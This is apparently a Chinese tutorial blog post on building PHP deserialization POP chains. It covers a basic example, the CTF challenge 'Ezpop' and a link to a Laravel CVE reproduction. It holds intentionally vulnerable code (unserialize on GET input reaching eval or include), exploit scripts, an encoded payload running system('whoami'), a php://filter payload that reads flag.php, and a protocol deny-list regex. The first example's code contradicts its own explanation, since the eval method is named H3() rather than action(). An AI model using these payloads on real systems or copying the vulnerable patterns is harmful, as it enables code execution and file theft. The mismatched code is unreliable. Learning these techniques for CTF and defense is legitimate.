POP链初探

POP链基础

Author：H3h3QAQ

之前我写了一篇PHP反序列化的基础文章

接下来我打算记录一下我的POP链构造学习过程

首先我们需要一些了解一些基础知识

一、POP和POP链的定义

1、什么是POP

面向属性编程（Property-Oriented Programing）常用于上层语言构造特定调用链的方法，与二进制利用中的面向返回编程（Return-Oriented Programing）的原理相似，都是从现有运行环境中寻找一系列的代码或者指令调用，然后根据需求构成一组连续的调用链。

2、POP链原理

POP链是反序列化漏洞利用中的一种常有方法，即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数，将一些能够被调用的函数组合起来，达到目的的操作。

二、POP链构造初探

在简单的反序列化漏洞利用中，我们通常寻找在源码中找寻找可以利用的魔术方法，但是关键利用点并不是魔术方法中，而是在类的方法中，在此时如果有多个类，存在可以RCE的函数，我们就可以尝试去寻找存在我们可控的变量的POP链来将其串联起来，从而达到攻击的目的。

1、简单的POP链构造三部曲

接下来，我们给一个简单的环境，更有利于理解

<?php
show_source(__FILE__);
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new H3();
    }
    function __destruct() {
        $this->a->action();
    }
}
class H3 {
    function action() {
        echo "I want to play basketball!";
    }
}
class Hack {
    private $data;
    function H3() {
        eval($this->data);
    }
}
unserialize($_GET['eval']);

这就是一个简单的环境，我们需要利用到Hack类中的action方法中的eval()达成RCE

接下来我们温习一下魔术方法：

__destruct()：//析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时，会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
  __toString(): //把类当作字符串使用时触发
__construct(): //构造函数，当对象new的时候会自动调用，但在unserialize()时不会自动调用
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在，该方法会被优先调用

环境中用到了__construct()和__destruct()魔术方法，我们需要牢记住每个魔术方法在什么情况下被触发。

我们来分析一下Lemon类

class Lemon {
    protected $a;
    function __construct() {
        $this->a = new H3();
    }
    function __destruct() {
        $this->a->action();
    }
}

当Lemon类被new的时候会调用__construct()从而newH3类，然后会触发__destruct()方法，把a的指传给action()

但是H3类中并没有我们能够利用的的地方，我们接下来看Hack类

class Hack {
    private $data;
    function action() {
        eval($this->data);
    }
}

该类中有eval函数，可以被利用

到此我们的POP链已经很明确了，利用Lemon 类中的魔术方法去实例化Hack类，从而执行eval()，并且参数可控

exp如下：

<?php
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new Hack();
    }
}
class Hack {
    private $data="system('whoami');";
}
$a=new Lemon();
echo urlencode(serialize($a));
?>

payload：

O%3A5%3A%22Lemon%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00a%22%3BO%3A4%3A%22Hack%22%3A1%3A%7Bs%3A10%3A%22%00Hack%00data%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D

执行结果：

这就完成了一个简单的POP链构造

2、CTF题目中的POP链构造

经典题目Ezpop

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){ //当脚本尝试将对象调用为函数时触发
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){ // 当一个对象创建时被调用
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){ //当一个对象被当作一个字符串被调用
        return $this->str->source;
    }

    public function __wakeup(){ //使用unserialize时触发
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){ // 当一个对象创建时被调用
        $this->p = array();
    }

    public function __get($key){ //用于从不可访问的属性读取数据
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

?>

为了便于观看，我把每个魔术方法都做了注释在上面

接下来分析一下

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){ //当脚本尝试将对象调用为函数时触发
        $this->append($this->var);
    }
}

我们可以利用Modifier类来包含到flag.php

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){ // 当一个对象创建时被调用
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){ //当一个对象被当作一个字符串被调用
        return $this->str->source;
    }

    public function __wakeup(){ //使用unserialize时触发
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

然后再利用Show类输出flag

接下来我们来找一下POP链

从__wakeup()开始（或者说从Show类开始）

public function __wakeup(){ //使用unserialize时触发
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
        echo "hacker";
        $this->source = "index.php";
    }
}

__wakeup()先对字符串做比较，如果$this->source为Show类，则会触发__toString()魔术方法

public function __toString(){ //当一个对象被当作一个字符串被调用
    return $this->str->source;
}

__toString()方法会访问str中的source，如果str是Test类则会触发__get()

public function __get($key){ //用于从不可访问的属性读取数据
    $function = $this->p;
    return $function();
}

可以看到，在__get()魔术方法中，p作为函数来使用，我们可以来实例化Modifier类，从而触发__invoke()方法

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){ //当脚本尝试将对象调用为函数时触发
        $this->append($this->var);
    }
}

至此，我们已经找到了一个完整的POP链

然后就可以伪协议配合include来把flag读出来

exp如下：

<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
    }
    public function __toString(){
        return "H3";
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show(' ');
$a->str= new Test();
$h3 = new Show($a);
echo urlencode(serialize($h3));

将其base64解码后成功拿到flag

3、真实环境下的POP链构造

这里选择了CVE-2019-9081 Laravel5.7 反序列化 RCE进行复现

对于初学者，我建议复现一下Thinkphp和Laravel几个反序列化洞

在复现的过程中跟着作者的思路，可以很好的体会一下POP链子构造的方法和技巧

因为之前已经复现过，并且在看雪发过文章了，这里就贴个链接QAQ

https://bbs.pediy.com/thread-270904.htm

三、总结

相信通过了本篇文章，对于对POP链构造的初学者，能够提供一个简单快速的入手方法

POP链构造在真实环境下经常要“跳来跳去”，这就对挖掘者的耐心和技巧是个非常大的考验，但是如果成功挖掘出一条链子后，感觉非常的爽～

而面对这些，就需要大家对于魔术方法掌握牢固，并且对于这种构造思想也要灵活运用，不能太过死板，而且在挖链子的过程中也会有一些小技巧，这些就需要大家自行收集了，本篇文章就不过多赘述咯

参考链接：

https://v0w.top/2020/03/05/unsearise-POP/#2-2-%E7%94%A8%E4%B8%80%E4%B8%AA%E5%AE%9E%E4%BE%8B%E8%AF%B4%E6%98%8E%E5%A6%82%E4%BD%95%E6%9E%84%E9%80%A0POP%E9%93%BE

http://h3geeker.top/posts/ae3250a1.html#toc-heading-2

https://bbs.pediy.com/thread-270904.htm

https://www.sec-in.com/article/1094